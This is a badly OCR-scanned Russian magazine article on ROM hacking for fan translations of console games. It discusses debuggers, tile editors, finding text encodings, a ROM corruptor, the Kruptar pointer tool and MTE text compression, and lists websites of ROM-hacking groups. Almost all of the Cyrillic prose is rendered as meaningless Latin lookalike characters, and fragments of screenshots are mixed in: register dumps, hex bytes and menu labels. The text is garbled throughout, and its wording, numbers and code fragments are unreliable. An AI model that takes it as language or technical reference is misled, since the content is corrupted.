OAHaKO noKa/i M3au.ua OKa3anacb KpafiHe HeyAaHHOM: nepeBOA 
Bcew i/irpbi 6bm Bbino/iHeH Bcero oahmm ne/iOBeKOM (TeAOM By/i- 
cm) b KpaMHe cxaTbie cpoKi/i. Hanpmviep, b stom nepeBOAe 6bmi/i 

BblKMHyTbl CKpblTbie OTCbl/lKH K Aa/lbHeMLIieMy pa3BMTMK) CKDXeTa, 

a CMbic/i OAHoro 1/13 npeA-noxeHMM 6bm 3aMeHeH Ha npon/iBono- 
zioxHbiM M3-3a HenpaBM/ibHO noHHToro anoHCKoro Kpbmaioro Bbi- 
paxeHMfi ((J)pa3a, 6/in3i<afl no 3HaHeHi/uo k «6i/i3Hec wcnapmicfl», 




INFO 

Han6o/ieenonyjiflpHbi 
y poMxai<epoB c/ieAyio- 
u\v\e n/iaT(j)opMbi: Nes/ 
Dendy/Famicom, SNES/ 
Super Famicom, Sega 
Mega Drive /Genesis, 
Game Boy, Game Boy 
Advance, Nintendo DS, 
Nintendo 64, Game Cube, 
Wii.PSP, PlayStation 1,2. 




6bma BocnpHHHTa TeAOM KaK «6i/i3Hec nome/i BBepx»). Caivi TeA 
onpaBflbiBaGT hm3kog KanecTBO ero nepeBOAa Tervi, hto eiviy npi/ixo- 
AM/iocb Ae/iaTb TeKCT MaKcmviajibHO kopotkmm, TaK KaK oh He B/ie- 
3a/i b KapTpMA>K, b to Bpeivm KaK anoHCKMki TeKCT 3aBeAOMO 6o/iee 
KOMnaKTHbiM. TeM He MeHee HeAOBO/ibHbie ocJ)Mu,Ma^bHbiM nepe- 
boaom cjDaHaTbi c 3aAaneM noMemeHi/iq b pom 6/in3Koro k opnrn- 
Ha/iy aHrnnfiCKoro TeKCTa cnpaBmiHCb Brio/me ycneLUHO. 



WWW 

0(J)nuna^bHafl CTpamma 
No$gba: 

nocash.emubase.de/gba- 
dev.htm 



A Notgba Debugger (Fullveition) 



File Seaich Run Debug Wndow Utility Opt»ns Help 



Hothing. 



> // 

> // Returns: 

> // 

> // 

> void interruptlnitflodule (void) 

> { 

interruptIniti!od+:push (r7,rl4> 
0800040E (T) mov r7,rl3 

> // Load the main interrupt handler into RAH. 

> 

> CpuCopy (intr_nain, intrHainBuf, size of (intrHainBuf ) 
08000410 (T) ldr r0,=intr_nain 

08000412 (T) ldr rl, -intrHainBuf 

08000414 (T) ldr r2,=REG-_S0UHDCHT 
08000416 (T) bl CpuSet ; — ► 

> *(vu32 *)IHTR_VECT0R_BUF = (vu32) intrHainBuf; 
0800041A (T) ldr rO , =IHTR_VECTDR_BUF 

0800041C (T) ldr rl,=intrHainBuf 



32) 



;6 6 
;2 8 



;9 17 
;0 26 
;9 35 
;10 45 



0800041E (T) Istr rl,[r0] 




> 
> 
> 
> 



// Load the IRQ function table into RAH. The EEPR0H code needs to nodif 



08000420 (T) 

08000422 (T) 

08000424 (T) 

08000426 (T) 



CpuCopy (IRQ Func ti onsROH , IRQFunctions, sizeof (IRQFunctionsROH) , 32); 

;9 77 
;9 86 
;9 95 
;10 105 _| 



ldr 
ldr 
ldr 
bl 



r0,=_etext 
rl,=IRQFunctions 
r2,=#Ox400000D 
CpuSet ; 



return; 
0800042A (T) b 
0800042C (T) lsl 
0800042E (T) lsr 



00000000 
00000010 
00000020 
00000030 
00000040 
00000050 
00000060 
00000070 
00000080 
00000090 

[03007FFC] = 



18 00 00 EA 

01 00 00 EA 
00 50 2D E9 

02 C3 AO E3 
B4 E0 DC 05 
20 F2 9F 05 

00 50 BD E8 

01 C3 AO E3 
CO CO 8C 03 
00 F0 29 El 

080000FC 



#0x8000448 ;1 
r4,r7,#0x3 
r0,r0,#0x20 

04 00 00 EA 4C 00 00 EA 02 00 00 EA L 

00 00 00 EA 42 00 00 EA AO Dl 9F ES B 

00 CO 4F El 00 E0 OF El 00 50 2D E9 .P-...0 P-. 

9C E0 DC E5 A5 00 5E E3 04 00 00 1A A 

80 E0 IE 02 04 E0 8F E2 20 F2 9F 15 

64 Dl 9F E5 00 50 BD E8 0C F0 69 El ...d P i. 

04 F0 5E E2 00 00 5E E3 04 E0 AO 03 .P A ... A 

00 C3 DC E5 01 00 3C E3 00 CO OF 01 < 

0C F0 29 01 E3 FF FF OA DF 00 AO E3 ) 

01 43 AO E3 08 42 C4 E5 OF 00 00 EB ..J..C...B 



:8 113 
;2 115 
:2 117 _J 



1 



rO 

rl 

r2 

r3 

r4 

r5 

r6 

r7 

r8 

r9 

riO 

rll 

rl2 
rl3 

rl4 
rl5 
cpsr 
spsr 



r 
r 
r 
r 



0300 7 FFC r 

03000050 r 
04000080 
00000170 
00000000 
00000000 
00000000 
03007EF0 
00000000 
00000000 
00000000 
00000000 
00000000 
03007EFO 
0800041B 
0800041E 
0000003F 
6000001F 



Tiace 


Run Nest 


GBA Specs 


CPU Specs 


Reload 


Edit Fie 


Screenshot 


Upload 



03007F24 00000000 
03007F20 00000000 
03007F1C 00000000 
03007F18 00000000 
03007F14 00000000 
03007F10 00000000 
03007F0C 00000000 
03007F08 00000000 
03007F04 00000000 
03nn7Fnn nnnnnnnn 
03007EFC 080000FO 
03007EF8 00000000 
03007EF4 08000229 
03007EF0I03007EF8 
03007EEC 0800041B 
03007EE8 04000080 
03007EE4 00000170 
03007EEO 00000000 
03007EDC 00000000 
03007ED8 00000000 
03007ED4 00000000 
03007ED0 00000000 
03007ECC 00000000 
03007EC8 00000000 



H/A 
H/A 
H/A 
H/A 
H/A 
H/A 
H/A 
H/A 
H/A 
H/A 

Return from ??? 
Pushed r7 
Return from interruptlnitHodule 
Pushed r7 

Return from CpuSet 
Pushed r2 
Return from ??? 
Pushed r5 
Pushed r4 
H/A 
H/A 
H/A 
H/A 
H/A 



System 



Dl 



1/1 
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No$gba — OT/iaflMMK rmaTc})opM Game Boy Advance h Nintendo D5 



OOPMYJIMPyEM yCJlOBIiq 3 A A AH 14 

EcTb oaho o6cTO^Te^bCTBO, KOTopoe AenaeT poivixaKMHr OAHOBpeivieHHO c/io>KHee m mh- 
TepecHee 6o/iee nony/iapHoro MOAAHHra PC-nrp. Pa3pa6oTHMKM coBpeivieHHbix nrp 
AJifl nK nacTO noAAepxwBafOT moaaspob, co3AaBa^ A-na hmx oc|)MLi,Ma/ibHbie MHCTpyivieHTbi 
m BbinycKaa bcio Heo6xoAHMyio AOKyivieHTauMK). B cnynae c KOHcanbHbiMH i/irpaivin one- 
bmaho, hto pa3pa6oTHMKM HMKaK He npeAycMaTpwBajiM noc^eAyiOLAyio MOAHC^HKaUMK) 
cboux TaMT/iOB. f1o3TOMy npw poMxaKi/iHre Mbi MMeeivi 6i/iHapHbiPi <$ai/\n \a Aaxe He 3HaeM, 
no KaKMM aApecaivi \a b KaKOM 4)opiviaTe xpaHBTca HyxHbie AaHHbie, a 3HanMT, M3HaHajibHO 
Tpe6yeTC« AOMCTBOBaTb Bcnenyfo, Ha omynb. 

PoMxaKMHr MOxeT 6biTb KaK c MOAnct>nKauneM MauuHHHoro koa3 — ^3biKa acceivi6jie- 
pa, KOTopbiM y KaxAoPi rmaTcfjopMbi cbom (b stom c/iynae ec/in n3MeHeHna KapAHHa/ibHbie, 
to MOAn<t>nu,wpoBaHHbiii poivi i/i /in o6pa3 AncKa Ha3biBaiOT xaKOM), TaK m 6e3 Hee. Bo bto- 
poM c/iysae TporaTb MaujMHHbiM koa ne HyxHO n pa6oTa nponcxoA^T TO/ibKO c AaHHbiMn: 
rpacJ)MKOM, Lupnc|DTaiviM, TeKCTOM, noMHTepaMM (pa3AO-nnTe/in TeKCTa) win Aa*e My3biKOM. 

Hn naw r .ttom r.nvnap nar.nnnn^PHMP m rhnnMAT rm/iY nflHHhiv MawayankHn hpi/i.^rpp.tph 
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File Edit Palette Help 
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H £2 ?|2 




r~ Menu popup 


V Grid line L |"~ Grid line R 


W Complement 


pen T Use old API WWr 
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|2BPPVB 
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| Vertical 





n 



V 




flepepucoBaHHbiPi wpH^TBTaM/ioBOM peAaKTope YY-CHR. B 3tom npuMepe 
nepefl KawflbiM cmmbo/iom hayt Aam-ibie, oTBenafomne 3a ero uinpMHy 



PaccMOTpurvi caiviyK) pacnpocTpaHGHHyKD u,e/ib porvixaKHHra — /iK)6MTejibCKHM nepe- 
boa- M3MeHeHne LupwctrroB Heo6xoAMMo, ec/iki a/ict>aBmbi ncxoflHoro v\ KOHeHHoro H3biKa 
OT/ii/iHaiOTCfl, HanpuMep ecnw HyxHO 3aivieHi/iTb jiaTHHwuy Ha KMpmuiMuy. To xe carvioe Ka- 
caeTca n nepeBOAa c anoHCKoro Ha aHr/ii/iMCKMM mii/i pyccKi/iM. 
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Tcna 
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r up 

Down 
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Uut 
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I eiia 
Teria 
Teiia 
Teiia 
Teiia 
Teiia 
Teiia 
Twia 
Teiia 
Teiia 



2734559 
3158541 

3797546 
3932108 
3360343 

4401674 
4482103 
5403921 
5461 &37 



A-FAa-151- 7 ? 
A=08a=081=?'' 
A-OC a-341-7? 
A=07a=201=r? 
A=40a=G81=7? 
A=DFa=F81=?? 
A=F0a=041=7? 
A»D8a=081=?? 
A=A3 a=0O1=7? 
A=28a=101-?? 
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rigaBKa rjoncK BMfl KoflMpOBKH CMHTaicd 
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00= 

01=e 

j2=z 



Translhextion — op,na H3 poMxaKepcKuxyin^HT, KOTopaa no3Bon?ReT HCKaTb tgkct b HeM3BecT- 
hom KOflnpoBKe, nofl6npafl ee aBTOMaTunecKM nyTeM nepe6opa BapnamoB. HanoMHio, hto stot 
npneM pa6oTaeT, TO/ibKO ecrm ancibaBMT KOAMpoBaH no nop^AKy, a tgkct He 3anaK0BaH 

KpoMe aApeca, no KcrropOMy Hani/iHaeTCH tgkct, hy>kho onpeAe/iMTb ero KOflnpoBKy, 
KOTopaa MO>KGT6biTb a6co/iK)THO npon3BO/ibHOM. ripaKTMHecKM BcerAa pa3pa60THMKM CTa- 
pbix KOHConbHbix i/irp ncno/ib30Ba^n nonHTepbi, 6/iaroAapa kotophm TaKxe ynpomaeTca 
i/i Ae^TenbHOCTb poMxaKepa: MSMeHfla mx, oh mokgt He coxpaHHTb AnnHbi opnrnHa/ibHbix 
ynacTKOB TeKCTa. TaKxe i/morAa npn nepeBOAe peAaKTwpyrOTCfl HaAnwcn Ha enpafrrax, 
xoth 3to AO/iaeTca Aa/ieKO He BcerAa. 

A6co^rOTHO /iro6bie AaHHbie (a oco6eHHO 
TeKCT) MoryT 6biTb 3anaKOBaHbi, m sto MO>KeT 
yc/ioxHMTb xn3Hb poivixaKepy eu\e 6ojibLue. 
B oco6eHHO 3anyuj,eHHbix cnynaax /iOKann3a- 
Topy noHaAo6nTca pa3o6paTbCfl b 5i3biKe ac- 
ceM6nepa i~ioa KOHKpeTHyio n^aT(J)opMy: ec^n 
«Ha OLnynb» HMKaK He no^ynaeTca BbmcHMTb 
cJ)opiviaT naKOBKM AaHHbix, moxho npn6emyTb 
k Ae6arrnHry A/i5i BbmcHeHna a/iropnTMa pac- 
naKOBKM. Ho nocKO/ibKy y k3>kaom n/iaTcJ)op- 
Mbi acceivi6.nep cbom, a paccMOTpKD oGmne 
Ana Bcex n/iaTct)opM npneivibi, AOCTynHbie 
Aaxe TeM, y Koro HeT xe^aHMq \ah\a bo3mo>k- 

HOCTM peAaKTMpOBaTb MaLUMHHbIM KOA COOT- 
BeTCTByrOLAeM MTpOBOM npHCTaBKM. 



HAXOAMM UEJIb 

riepeA TeM KaK BbmcHMTb, b KaKOM cfjopMa- 
Te xpaHaTca HyxHbie AaHHbie, HaAO CHana^a 
onpeAe/iMTb, no k3kmm aApecaM ohm pacno/io- 
xeHbi. Ec/im Tbi AyMaewb, hto An^ Toro, MTo6bi 
HafiTM pacnonoxeHne TeKCTa, Hy>KHO CKpo/i- 
jinTb hex-peAaKTop, to oneHb cmibHO olum- 
SaeLUbca. Reno b tom, hto KOAnpoBKa TeKCTa 
He o6fl3aHa 6biTb CTaHAapTHOM. HanpMMep, 
ziaTMHCKOM A MoxeT cooTBeTCTBOBaTb a6co- 
/1KDTHO JiK)6oe 3HaHeHne 6aMTa ot 00 ao FF. no- 
3T0My, HTo6bi yBMAeTb TeKCT b hex-peAaKTope, 
CHanana HyxHO CKopMMTb eiviy cocTaB/ieHHyK) 



16 



Normal text file 



length : 1335 lines 



npnMepTa6nni4bi cmmbo/iob, b ko- 
Topow ohm HAyT He no nop^AKy (pe- 
a/ibHbiPi npuMep M3 Final Fantasy VI 
Advance A-n^ GBA). B ashhom cnynae 

aBTOMaTHHeCKM BbmCHHTb MeCTO- 

nono>KeHMe m KOAnpoBKy TeKCTa 
Translhextion He b coctoahmh, ho mx 
mo>kho onpeAe/iMTb BpyHHyKD npM no- 
molum KoppynTopa 



Ta6^MU,y KOAHPOBKM CUMBOJIOB. TO^bKO BOTTa- 

KyK) Ta6/inu,y bpha -nn no/iyHMTca CAe/iaTb, noKa TOHHoe pacno/ioxeHne TeKCTa He 6yAeT 
Ha^AeHO. A bot h3mtm ero nyTeM CKponnnHra b pa3/iMHHbix pe>KMMax TaM/iOBoro peAaKTopa, 
b noHHLinne. moxho. Bee oaBHO STono/iro v\ He raoaHTi/ioveT. hto HaMnenib: cbooMaT ludmct)- 



Ta ormTb xe mo>kgt 6biTb npon3BOJibHbiM, MHorAa Taw/iOBbiM peflaicrop MOxeT m He noAAep- 
>KMBaTb 3tot cJ)0pMaT. He roBopa yxe o tom, hto JiK)6bie AaHHbie MoryT 6biTb 3anaKOBaHbi. 



^Pomkop - [.. \ Little Mermaid, The (U) [!].nes ] 



<X>av\n AHa^MBaTopbi llpo^ee 
1 . TpaHMUbi M3MeHfleMoro ynacTKa 
c 18001 



h no |A000 h 

Pa60TaTb TO/lbKO C Ka)KAblM [i "blM 6a£fTOM 

W riocne sanoraHHBaHHfi BoecTaHOBwrb yMacTOK 



« ripeAbiayinwfi ynacTOK C/ieayiomnH ynacroK >> 



AflHHOH 



2000 



h 6aftr 



ABTOHasKaTHe KHonKH "C/ieayiomMft yMacroK >>" 
nocne Kaworo 3anoraHMBaHMfi 



2. JlwanasoH o6pa6arbiBaeMbix 3HaM6HMfi (Safrr 

BAHana30Heor $|10 JjJ ao $|EF 
C Bee 6aftTbi 

C To/lbKO CO 3HaMeHM6M $[0 ^ 



3. 3aMeHwrb daffrbi Ha 
(* yeejiHMeHHbie Ha 



$|1 U 



C yMeHbiueHHbie Ha 
C KoHCTam-y $[o 

C noc^eflOBare/ibHocTb c $fo AO $|FF $\ 

C rio/iHbiti xaoc (/iio6otf cnyHaHHbifi fiafrf] 




M3MeHeH yMacTOK 
c 6001 h no 8000 h 

TO/lbK.0 Ka)+£flblM 4-blH 6aifr 

(ynacTOK BoccTaHOB.neH) 



1 00 


oc 


10 


20 


60 


FO 


00 


«0 


CO 


F0 


EO 


CO 


SO 


60 


|oo 


oc 


10 


20 


60 


FO 


DO 


AO 


CO 


FO 


EO 


CO 


80 


60 




0 

2001 
2000 
2001 

4 o n o 

6000 
6001 

2000 
8000 
8001 

2000F 



IMS 



Koppymop PoMKop: bhlady.narod.ru 

TeM He MeHee peuieHwe 3aAann no rapaHTMpOBaHHOMy 
HaxoxAeHMK) Bcex HyxHbix AaHHbix Bbir/iqAUT AOBO^bHO npo- 

CTO. DO AJ1H pOMXaKMHTa, KOTOpbIM HyXHO BOCnOJlb30BaTb- 

C9\ b nepByio onepeAb, Ha3biBaeTCH KoppynTop. Ero 3aAa- 
na — BpeMeHHO McnopTMTb pom Ha onpeAO-neHHOivi ynacTxe, 
3anycTMTb pom a^h npoBepKM, a 3aTeM BepHyTb b ncxoAHoe 
COCTO^HMe. OnU,MOHa^bHO 3T0 MOXeT 6blTb yBe/iMHeHne/ 

yMeHbLueHne 3HaHeHnPi, cjiynaMHbie 3HaHeHkm v\nv\ 3aA3HHbie 
(noc/ieAHMM Bapi/iaHT TaioKe none3eH a/ih onpeAe/ieHi/ia ko- 
AHpOBKi/i TeKCTa, KorAa oh 6yAeT HawAOH). 



www 

CaMT nepBOM m CTapewujefi 

pyccK0A3biHH0M poivixa- 
KMHr-rpynnbi «LUeAeBp», noa- 
BMBiueMcn b 2001 roAy: 

shedevr.ora.ru 

Pomt rr\\/n n i_ i IVfloni/"* Toom 



Hanprnviep, A/m Hana/ia moxho pa30HTb TeKCT Ha BoceMb 
ynacTKOB v\ npoPm/icb no KaxAOMy. Eonn HecMOTpa Ha to, 
hto HeKOTopbie AaHHbie b poivie wcnopneHbi, wpwctyr m tgkct 
OTo6paxaiOTCfl HopMa/ibHO, 3HannT, stmx AaHHbix Ha npo- 
BepeHHOM ynacTKe HeT m Mbi MoxeM noMeTMTb ero KaK non- 

HOCTbK) npOBepeHHbIM M 60/lbLiie K HeMy He B03BpaLU,aTbCfl. 

Ec/im nocne nopni/i AaHHbix wrpa 3aBncaeT, to, CKopee Bcero, 

6bl/l 33TpOHyT npOrpaMMHbIM MaillMHHblM KOA, a 3HaHMT, noKa 

hto Hen3BecTHO, ecTb /in Ha 3tom ynacTKe, noMMMO npo- 

rpaMMHOrO KOAa, TeKCT MJIM LUpH(J)T. HT06bl 3T0 BblflCHHTb, 

HyxHO AaHHbiPi 6o/ibLuoPi ynacTOK pa36nTb Ha 6o/iee Me/iKne 
m npoMTMCb yxe no hum, pa3yMeeTca peKypcHBHO yMeHbiuafl 
pa3Mep i/i cone Aye Mbix ynacTKOB. HaKOHeu,, ecnw Mbi bmaum, 
hto TeKCT win Lupwarr Ha 3tom ynacTKe ncnopneH, to moxho 
6yAeT cpa3y xe cocpeAOTOHMTbca mmchho Ha HeM m, nocTe- 
neHHO yMeHbLuaa wconeAyeMbie MHTepBanbi, tomho yoraHO- 
BMTb Hana.no m KOHeu, MHTepecyKDinnx AaHHbix. 

CymecTByeT eme oahh cnoco6 Hafrn/i TeKCT. Oh 6onee 
6biCTpbiM, ho He rapaHTupyeT pe3y/ibTaT v\ cpa6oTaeT, mnbKO 
eonn TeKCT He 3anaKOBaH n an0aBMT 3aKOAnpOBaH ynopHAO- 
neHHO, to ecTb, Hanprnviep, ec/in a = 2D, to b = 2E, c = 2F, d = 
30 u TaKAanee. Moxho a/ih Hana/ia nonpo6oBaTb B3HTb KaKO- 
e-/in6o He oneHb KopoTKoe c/iobo, BCTpenaiOLJueecfl b TeKCTe 

WTJbl, TO/lbKO CTpOHHbIMM (HJIH TO/lbKO 3amaBHblMM) 6yKBaMH, 

a Aa/ibLue nycTb caMonncHoe \ah\a roTOBoe 110 npo6exMTCfl 
no poMy b noMCKax 3Toro onoBa (256 - 26 = 230) pa3. Eonn 
Hunero HaMAeHO He 6yAeT, to a peKOMeHAyio He napfiTbca 
n npocTO BOcno^b30BaTbc?R KoppynTOpOM. 



\javi i i fjyiiuui iviuyivj luain, 

Ha KOTOpOM eCTb HeCKOilbKO 

o6ynaK)iMnx CTaiePi m hx co(|)t, 
bkjhoh3h Kruptar: 

www.maQicteam.net 

CaiiT rpynnbi Chief-Net, rue 
Taicxe moxho noHmaTb o6yna- 
KDiunecTaTbn: 

chief-net.ru 

CaMT rpynnbi Owls Group: 

owls-group.org.ru 

CaiVr rpynnbi ExclusivE: 

ex-ve.ru/pronas 

Cattr, noxa/ryM, caMoro 
M3BeCTH0r0 poccMMCKoro 
poMxaKepa HoRRoR. Ha caMTe 
TaKxe npwcyTCTByeT Wiki-pa3- 
Ae/i, rAe moxho He TO/ibKo 

nOHMT3Tb CTSTbll Ha ASHHyiO 

TeMy, ho m noAe/iHTbca cbomm 

OnblTOM. OTAe/lbHO CTOMT 
OTMeTMTb, HTO erO K0M3HA0M 

Bbino/iHeH MAes/ibHbiM nepeBOA 
nepBOM 43ctm Ky^bTOBoro xop- 
pops Silent Hill, BbixoAHBwero 

3KCK/1I03MBH0 RJW nepBOTO 

noKO/ieHMfl PlayStation b 1999 

roAy: 

consolgames.ru 

KpynHbiM aHmofl3biHHbiM 

nopT3Ji, nOCBfllUeHHblM P0MX3- 

KHHry: 

romh3ckina.net 



KpynHeMUJMM pyCCK0fl3blHHblM 

nopT3/i, nocBfliueHHbiM 3My- 
nni\m c np3KTMHecKM no/iHbiM 

3PXMB0M 3MVJlflT0p0B M pOMOB! 

emu-lsnd.net 

C3MTX3K3 Mortsl Komb3t. P3- 
6ot3 npoAe^3H3 orpoMHsa: 

umk3.h3ckinq-cult.org 



BHOCMM M3MEHEHMSI 

fl/ia peAaKTHpOBaHMa Lupnct)Ta m/im rpaabMKM moxho Bocno/ib- 

30BaTbCfl TOTOBblM TaMJlOBblM peAaKTOpOM, HO HyXHO MMeTb 

b BMAy, hto 4>opiviaT xpaHeHMH Lupn(J)Ta/rpact)MKM MoxeT OKa- 
3aTbca 3K30TMHecKMM m/mjih cxaTbiM. TorAa npMAeTca MJ1H 
caivioiviy nwcaTb peAaKTop njpnct)Ta, mjim «nepepncoBbiBaTb» 
LupM4)T b hex-peAaKTope, npon3BeAfl Bee pacseTbi BpynHyio, 
mjih HanncaTb nepeKOAnpoBinnK M3 BMP mjim PNG b Heo6xo- 
AHMbiM cJ)opiviaT. 

ripn peAaKTMpoBaHMM TeKCTa HyxHO ynnTbiBaTb, hto no yMO/inaHnio tikd6om 3aivie- 
HeHHbiPi to6om KycoK He AO/ixeH 6biTb AinnHHee opnrnHana. KaK npaBM/io, sto orpaHM- 
neHMe oneHb zierKO o6omtm 3a cseT M3MeHeHMq noMHTepoB, KOTopbie, b OTJinnne ot TeK- 
CTa, oneHb y3HaBaeMbi cpa3y xe b hex-peAaKTope. Ho ec/in nepeBOA ne orpaHMHMBaeTca 
rnaBHbiM mchkd m okhom oni_u/iM, to nepecnuTbiBaTb m peAaKTMpOBaTb mx BpyHHyio, M^rKO 
roBopa, He ctoht: paccHMTbiBaTb m M3MeHflTb mx HyxHO aBTOMaTunecKM. M3 yxe totobo- 
ro no 9] Mory nopeKOMeHAOBaTb a/i^ stmx u,eneM Kruptar. Mcnonb3yfl noAo6HbiM cocJ)T, 
moxho kom(J)optho AenaTb nepeBOA, coBepmeHHO He nap^icb o tom, hto ec/in bhocmtb 
KoppeKTupoBKM b yxe ocyuiecTB/ieHHbiM nepeBOA h A/inna OTpeAaKTi/ipoBaHHoro cbpar- 



MeHTa TeKCTa m3mghi/itc?i, to 3HaHeHM^ MHOxecTBa noMHTepoB cabmhvtch. Kruptar mjim 
no c aHa/iornHHbiM 4)yHKu,MOHa.noM no/iHOCTbK) B03bMeT Ha ce6a nocTOHHHbiii nepecneT 
m npaBKy noi/iHTepoB. 



§ Kiupiaf7 
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kj>SourceR.OM 

kpDecbnatwnROM C:VJserc\vmV>ed<top\f 

kpCodcTogc 65001 (LTTF 8) 

kpTlogs hOl 



Group 1 



000002 3<a*: Tax tot ropoa. . ./C4/R&yC5/8C/C4/BEEKi>rc: Tpya*o neBepnTb, uto <jepe3Tbnjavy aeT nocae B 



000003 
000004 

:::::: 
oooooe 

000008 
000009 
000010 
000011 



Burro: Box eme ! Epea CKBOMKoBhoai. . . /C4/BA/C5/94/C4/3EBeicr: He 3Hax. . . /C4/BA/C5/8C/C4/BEOHH 
5nrrc: Ax, aa... nana BeabKa . /C4/BA/C5/BC/C4/BEa cjam&ji, ona noaxapmia 50 Haamxjr/Haoix cojiaa 

3eai: Poco.-7a6tjc«. C Bicii BiyKoibia rMone, otia c6tiHMa«KapKOiieTKa . . . /C4/DA/CG/94/C4/DEMH aazc 

Beax: Mu noaoiiaeM c BOCTOKa ! BbujBKraeHcn ! /C4/BA/CS/94/C4/B7/C4/8F/0E 

[t] [4 cffpeKK] [nc ueHTpy]2peEHaa Hokhs Bcjtxbob... Keraa ee[r.o ueHTpy ] ruraMfl hskoh&u yraejio, o 

[*] [4 ctpoxh] !no ueHipy) Docjie Hero, b TeieMne tkchmh j:eT, [no ceHTpy]xej:e30, nopcx a napoBbie 

[t] [4 cipoKM] [no ueHipy)Ho renepb Hanumcb Te, kto 3axoTM[no ueHTpy] B03poaKTb 3a0biryxj cuay 

[t] [no uenTpy] . . .!ley*ea»i ar>an noKCTKtie [no uettTpy] ias rayntj, hto6is nooiopMib [no uenTpy]noao6 
CTpaHHtJH csfiT sanoAHMJi Boaayx. /C4/B8XoTMTe '/3KaTb c to'ikax coKpaKemm? [sapnaHT OTBfiTa ] 



Index 2 of SUM 



wedge: mere's tne cicy. . ./C4/ba/C5/8C/C4/se 

Digga: Hard to believe an esper'3 been 
found frozen there a thousand years 
Afr.Ar r.hc War nf r.h* 
Maoi. . ./U4/oA/Co/9C/C4/H7/C4/Br/OE 



■ L -4 



y.0'5 



Size: 148 



3ea»: laM tot ropoa. . ./C4/BA/C5/SC/C4/BE 

Enrro: Tpyano nonepnTu, no icpcj 
Ttrj/iT/ jieT nocae Bohhk Bojixbob b Hen 

3Cnep. . ./C4/BA/C5/9C/(J4/H7/t;4/Br/UE 



. j 4: 



y:0/5 



Insert 



Size 144 



Ka/ibKy/iflTop noMHTepoB Kruptar no3BOJifleT npaKTunecKH 3a6biTb OTexHunecKnx fleTa/inx bo 
BpeMfl peflaKTupoBaHUfl TeKCTa. TaK>Ke noAflepwuBaeT M3B/ieHeHne/BCTaBKy 3anaKOBaHHoro 
MeTOflOM MTEieKCTa. Mo>kho o6ecnennTb noAflepwKyApyroro MeTOfla OKaTMfl 6/iaroAapFi 
bo3Mo>khocth HanMcaHMA k HeMy n/iarnHOB 



ripaBfla, Aaxe ec/iM Mcnojib3yeTCH Kruptar, oneHb xe.naTe.nbHO OTonexMBaTb, HTo6bi 
nepeBefleHHbiM tckct Bcer^a yMei-nancfl Ha 3KpaHe b OTBefleHHoe eiviy MecTO. KoHenHO, 
3to moxho Ae/iaTb, TecTupyq nepeBeAeHHbiPi pom nepe3 SMy/iHTop, ho sto AO/iro. MHonaa 
A/m 3tom u,e/iM nuLueTca cneu,na^bHbiM npocMOTpmwK coo6Lu,eHMM. 

fl/ifl Final Fantasy V Advance HoRRoR CA^-na-n cxoxmm npocMOTpmnK, c onncaHneivi 

M CKpMHLUOTOM KOTOpOTO MOXHO 03HaKOMMTbCFI 3AeCb . HO OH He BblKJiaAblBaeT CBOM COCj)T 

b na6nnK no HenoH^THOM A-n^ MeHfl npunnHe. 

Moxho npoBepFiTb, He Bbme3aeT nv\ tckct 3a OTBeAGHHbie eiviy rpaHMu,bi, He BpynHyK), 
a aBTorviaTMHecKM. 

HanpMMep, ecnn ncnonb30BaTb Python, to AOCTaTOMHO Bcero ^nnib onpeAe/iMTb cno- 

Bapb, K/lK)HaMM KOTOpOTO flBJl^KDTCfl CMMBOJlbl, a MX 3HaHeHM?1 paBHbl LUI/ipi/IHe 3TI/1X CMM- 

bojiob b nMKce/i^x b cooTBeTCTBUM c nrpoBbiM wpwcJrroM. 3aTeM HyxHO, Mcno/ib3yfl pe- 
ry/iapHoe BbipaxeHne, npo6exaTbca no BceMy TeKCTy, OTAe/ibHO no CMMBO^aM KaxAOM 

CTpOKM, nOCHMTaB T3KMM 06pa30M LUMpMHy TeKyLLLeM CTpOKM M CpaBHMBa^ C MaKCMMa/lb- 

ho B03MO>KHbiM 3HaHeHneM, 3anncaTb b zior Bee c/iynan npeBbiiueHMa jiuMMTa (ec/in ohm 
ecTb). Ecnn zior OKaxeTca He nycTbiM, to hvxho npoBepnTb Bee HaMAGHHbie mm MecTa 
c noMOuubK) rpacJ)MHecKoro npocMOTpiuMKa. 
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rioMHTepbi Mo>KHoyBMAeTb b hex-pe- 

flSKTOpe HeB00py>KGHHblM r/ia30M 



Oahh H3 npocMOTpmHKOB, pea7nn30BaHHbiM na Flash 



3AKJ1IOHEHME 

B CTaTbe KpaTKO onucaH npou,ecc 6a30Boro poivixaKHHra c npi/iMGHGHMGM roTOBoro cocf)- 
Ta. XoTfl, KOHenHO, jiyHLUMe i/iHCTpyivieHTbi — 3to HHTepnpeTaTop m/im KOMnmiflTop ^io6oro 
noAxoAflLuero jq3biKa no BKycy m ro/iOBa. Ec/im roTOBbiki cocJdt ot/imhho cnpaBJiaeTCfl c B03- 
hmklummm 3aAaHaMM, to onpaBAaHHO math no yxe npoTomaHHOM APyrnMM jiiOAbMM Tpo- 
nMHKe, BMecTO Toro HTo6bi noMMTbc?. nepe3 cyrpo6. Ho n CTecHflTbca nncaib co6ctbgh- 
HbiM cocJ)t He ctomt. Hanpntviep, OTna^HHO He xBaTaeT nopTOB BMHAOBbix yTM^MT — Aaxe 
Ha romhacking.net b pa3Ae/ie UNIX Bcero jii/iLUb Boceivib co4)tmh. YAaHw! X 



METOflbl CMim flAHHblX 

MTE 

CaMbiM npocTOM a^i^ noHUMaHmi MeTOA — cnoBapHaa CMCTeivia, KaK npaBM/io ncnonb3ye- 
Maa ftnn OKaTMfl TeKCTa. MeTOA Ha3biBaei"Cfl MTE, npw ero Mcno/ib30BaHnn oahmm v\nv\ AByMiq 
6aMTaMM KOAnpyeTca cpa3y HecKO/ibKO (a bo3mo>kho, Aaxe mhoi~o) cmmbo/iob, KOM6MHau,M?, 
KOTOpbix MacTO BCTpenaeTCH b TeKCTe. Boo6iu,e roBOpa, MTE moxho CHMTaTb He MeTOAOM 
cxaTnq, a Bcero Jiniub o6biHHOM koahpobkom c nonpaBKOM Ha to, hto OAHOMy/AByM/HecKOJib- 

KMM 6aMTaM MOXeT COOTBeTCTBOBaTb He TOJlbKO OAHH CMMBO/1, HO M HeCKO/lbKO/MHOrO. 

npecnoByTbie KOM6nHai4Mn cmmbo/iob nponwcaHbi b c/iOBape, KOTOpbiPi TaKxe xpaHMTC^ 
rAe-TO b poivie. OopiviaT c^OBapa MoxeT 6biTb pa3HbiM: cnoBa, pa3AeneHHbie cneu,cnMBO- 
jiom; c/iOBa, 3anMcaHHbiecni/m-io, +yKa3aTenn Ha hmx; cnoBa, 3anncaHHbiec/iMTHO, + Ta6^nu,a 

